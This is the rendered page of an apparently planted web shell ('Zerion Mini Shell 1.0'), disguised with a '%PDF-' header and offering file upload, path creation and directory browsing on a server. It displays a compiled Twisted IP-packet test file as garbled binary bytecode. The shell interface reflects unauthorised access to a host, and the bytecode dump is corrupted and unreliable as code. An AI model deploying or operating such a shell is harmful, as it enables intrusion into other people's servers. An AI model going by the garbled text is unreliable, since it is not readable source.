%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/twisted/pair/test/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/twisted/pair/test/__pycache__/test_ip.cpython-312.pyc

�

Ϫ�f^<���ddlmZddlmZddlmZmZddlmZddl	m
Z
ejej�Gd�d��Z
Gd�d	e
j�Zy
)�)�annotations)�	interface)�ip�raw)�
components)�unittestc�`�eZdZdd�Z																														dd�Zdd�Zy)�
MyProtocolc�$�t|�|_y�N)�list�	expecting)�selfrs  �;/usr/lib/python3/dist-packages/twisted/pair/test/test_ip.py�__init__zMyProtocol.__init__s
���i����c	�2�|jsJd��|jjd�\}}tt|j	���}t�}|D]#}||||k(r�Jd|�d||�d||����||k(s
Jd|�d|����y)Nz(Got a packet when not expecting anymore.rz	Expected �=z, got )r�popr
�sorted�keys�locals)r�data�partial�source�dest�protocol�version�ihl�tos�tot_len�fragment_id�fragment_offset�
dont_fragment�more_fragments�ttl�
expectData�expectKw�expectKwKeys�localVariables�ks                    r�datagramReceivedzMyProtocol.datagramReceiveds���"�~�~�I�I�I�~�#�~�~�1�1�!�4��
�H��F�8�=�=�?�3�4������	J�A����~�a�0�0�
J��1�#�Q�x��{�o�V�N�1�4E�3H�I�
J�0�	J��T�!�K�Y�z�n�F�4�(�#K�K�!rc��yr�)r�num�protos   r�addProtozMyProtocol.addProto.s��rN)rz(list[tuple[bytes, dict[str, str | int]]]�return�None)r�bytesr�intr�strrr6rr5rr5rr5r r5r!r5r"r5r#r5r$r5r%r5r&r5r2r3)r/�objectr0r7r2r3)�__name__�
__module__�__qualname__rr,r1r.rrr
r
s���)�L��L��L��	L�
�L��
L��L��L��L��L��L��L��L��L��L� 
�!L�:
rr
c�T�eZdZdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Z	dd�Z
dd	�Zy
)�IPTestsc���tj�}tddddddddd	d
dddd
d�
fg�}|jd|�|j	ddddd��|j
rJd|j
z��y�N�foobarr�1.2.3.4�5.6.7.8������������
rrrrrrr r!r"r#r$r%r&�Tޭ��FEfoobar�dummy�rrrr�5Should not expect any more packets, but still want %r�r�
IPProtocolr
r1r,r�rr0�p1s   r�testPacketParsingzIPTests.testPacketParsing4s����
�
���
��#$� )�"+�$(�#$�!� �#)�'-�+1�)*�*+�#���
�
��,	���t�R� �
���

�����	�	
�$�<�<�	
�C�b�l�l�R�	
��<rc�B�tj�}tddddddddd	d
dddd
d�
fddddddddd	d
dddd
d�
fg�}|jd|�|j	ddddd��|j	ddddd��|j
rJd|j
z��y)Nr?rr@rArBrCrDrErFrGrHrIrJrK�quux�5.4.3.2�6.7.8.9rLrMrN�Tޭ��FE	quuxrOrPrRs   r�testMultiplePacketszIPTests.testMultiplePacketsds���
�
���
��#$� )�"+�$(�#$�!� �#)�'-�+1�)*�*+�#���&�#$� )�"+�$(�#$�!� �#)�'-�+1�)*�*+�#���'%
�'
��P	���t�R� �
���

�����	�	
�"	���

�����	�	
�$�<�<�	
�C�b�l�l�R�	
��<rc��tj�}tddddddddd	d
dddd
d�
fg�}tddddddddd	d
dddd
d�
fg�}|jd|�|jd|�|j	ddddd��|j
rJd|j
z��|j
rJd|j
z��yr>rP�rr0rS�p2s    r�testMultipleSameProtoszIPTests.testMultipleSameProtos�s#���
�
���
��#$� )�"+�$(�#$�!� �#)�'-�+1�)*�*+�#���
�
��.��#$� )�"+�$(�#$�!� �#)�'-�+1�)*�*+�#���
�
��.	���t�R� �
���t�R� �
���

�����	�	
�$�<�<�	
�C�b�l�l�R�	
���<�<�	
�C�b�l�l�R�	
��<rc��tj�}tg�}|jd|�|j	ddddd��y)NrIrLrrMrN)rrQr
r1r,rRs   r�testWrongProtoNotSeenzIPTests.testWrongProtoNotSeensJ���
�
���
��^��
���q�"��
���

�����	�	
rc�X�tj�}tddddddddd	d
dddd
d�
fddddddddd	d
dddd
d�
fg�}|jd|�tddddddddd	d
dddd
d�
fddddddddd	d
dddd
d�
fg�}|jd|�|j	ddddd��|j	ddddd��|j	ddddd��|j	ddddd��|j
rJd|j
z��|j
rJd|j
z��y)Nr?rr@rArBrCrDrErFrGrHrIrJrKrVrWrX�
sTޭ��
FE	quuxrMrNrLrYsTޭ��
FEfoobarrOrPr\s    r�testDemuxingzIPTests.testDemuxings	���
�
���
��#$� )�"+�$(�#$�!� �#)�'-�+1�)*�*+�#���&�#$� )�"+�$(�#$�!� �#)�'-�+1�)*�*+�#���'%
�'
��P	���t�R� �
��#$� )�"+�$(�#$�!� �#)�'-�+1�)*�*+�#���&�#$� )�"+�$(�#$�!� �#)�'-�+1�)*�*+�#���'%
�'
��P	���t�R� �
���

�����	�	
�"	���

�����	�	
�"	���

�����	�	
�"	���

�����	�	
�$�<�<�	
�C�b�l�l�R�	
���<�<�	
�C�b�l�l�R�	
��<rc��tj�}	|jdd�td��#tj
$rYywxYw)z2Adding a wrong level protocol raises an exception.�*�	silliness�2addProto must raise an exception for bad protocolsN)rrQr1�AssertionErrorr�CannotAdapt�r�es  r�testAddingBadProtos_WrongLevelz&IPTests.testAddingBadProtos_WrongLevel�sI���M�M�O��	W�
�J�J�r�;�'�!�!U�V�V���%�%�	��	�s�3�A	�A	c���tj�}	|jdtg��t	d��#t
$r}|jdk(rn�Yd}~yd}~wwxYw)z=Adding a protocol with a negative number raises an exception.���rg)z'Added protocol must be positive or zeroN�rrQr1r
rh�	TypeError�argsrjs  r�testAddingBadProtos_TooSmallz$IPTests.testAddingBadProtos_TooSmall�s]���M�M�O��	W�
�J�J�r�:�b�>�*�!�!U�V�V��
�	��v�v�E�E�����	���<�	A �A�A c���tj�}	|jdtg��t	d��#t
$r}|jdk(rn�Yd}~yd}~wwxYw)�<Adding a protocol with a number >=2**32 raises an exception.lrg�z"Added protocol must fit in 32 bitsNrorjs  r�testAddingBadProtos_TooBigz"IPTests.testAddingBadProtos_TooBig�s]���M�M�O��	W�
�J�J�u�j��n�-�!�!U�V�V��
�	��v�v�@�@�����	�rsc���tj�}	|jdtg��t	d��#t
$r}|jdk(rn�Yd}~yd}~wwxYw)rulrgrvNrorjs  r�testAddingBadProtos_TooBig2z#IPTests.testAddingBadProtos_TooBig2�s]���M�M�O��	W�
�J�J�y�*�R�.�1�!�!U�V�V��
�	��v�v�@�@�����	�rsN)r2r3)r8r9r:rTrZr^r`rcrlrrrwryr.rrr<r<3s:��.
�`P
�dJ
�X
�.`
�DW�W�W�Wrr<N)�
__future__r�zoper�twisted.pairrr�twisted.pythonr�
twisted.trialr�implementer�IRawDatagramProtocolr
�TestCaser<r.rr�<module>r�sY��#�� �%�"�����s�/�/�0�#
�#
�1�#
�LwW�h���wWr

Zerion Mini Shell 1.0